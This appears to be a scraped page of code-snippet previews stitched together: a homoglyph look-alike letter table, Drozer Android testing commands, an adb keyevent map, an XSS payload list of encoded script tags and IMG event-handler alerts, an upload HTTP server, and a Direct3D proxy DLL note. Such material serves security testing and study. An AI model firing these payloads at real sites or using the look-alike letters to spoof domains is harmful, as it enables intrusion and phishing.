| Original Letter | Look-Alike(s) |
|---|---|
| a | а ạ ą ä à á ą |
| c | с ƈ ċ |
| d | ԁ ɗ |
| e | е ẹ ė é è |
| g | ġ |
| h | һ |
- Drozer - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
- Starting a session
adb forward tcp:31415 tcp:31415drozer console connectdrozer console connect --server <ip>
- List modules
lsls activity
- Retrieving package information
- Starting a session
run app.package.list -f
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "key_events": { | |
| "key_unknown": "adb shell input keyevent 0", | |
| "key_soft_left": "adb shell input keyevent 1", | |
| "key_soft_right": "adb shell input keyevent 2", | |
| "key_home": "adb shell input keyevent 3", | |
| "key_back": "adb shell input keyevent 4", | |
| "key_call": "adb shell input keyevent 5", | |
| "key_endcall": "adb shell input keyevent 6", | |
| "key_0": "adb shell input keyevent 7", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from __future__ import print_function | |
| from tempfile import TemporaryFile | |
| from binascii import hexlify | |
| from ctypes import * | |
| class StructHelper(object): | |
| def __get_value_str(self, name, fmt='{}'): | |
| val = getattr(self, name) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| """Simple HTTP Server With Upload. | |
| This module builds on BaseHTTPServer by implementing the standard GET | |
| and HEAD requests in a fairly straightforward manner. | |
| """ | |
| __version__ = "0.1" | |
| __all__ = ["SimpleHTTPRequestHandler"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //-------------------------------------- | |
| //--- 010 Editor Binary Template | |
| // | |
| // File: FSB5.bt | |
| // Author: Simon Pinfold | |
| // Purpose: Parses the FSB5 (v0 and v1) audio container. | |
| //-------------------------------------- | |
| BitfieldDisablePadding(); |
In response to a StackOverflow question:
This is code to build a Direct3D wrapper DLL, intercepting all calls to Direct3D interface functions so that you can draw your own objects to display over the game. Just plop the DLL into the same folder as the game's executable, and it should load it as if it were the real d3d9.dll file. It still forwards all calls to the real one in system32, just allows stuff to happen in between. original stackoverflow answer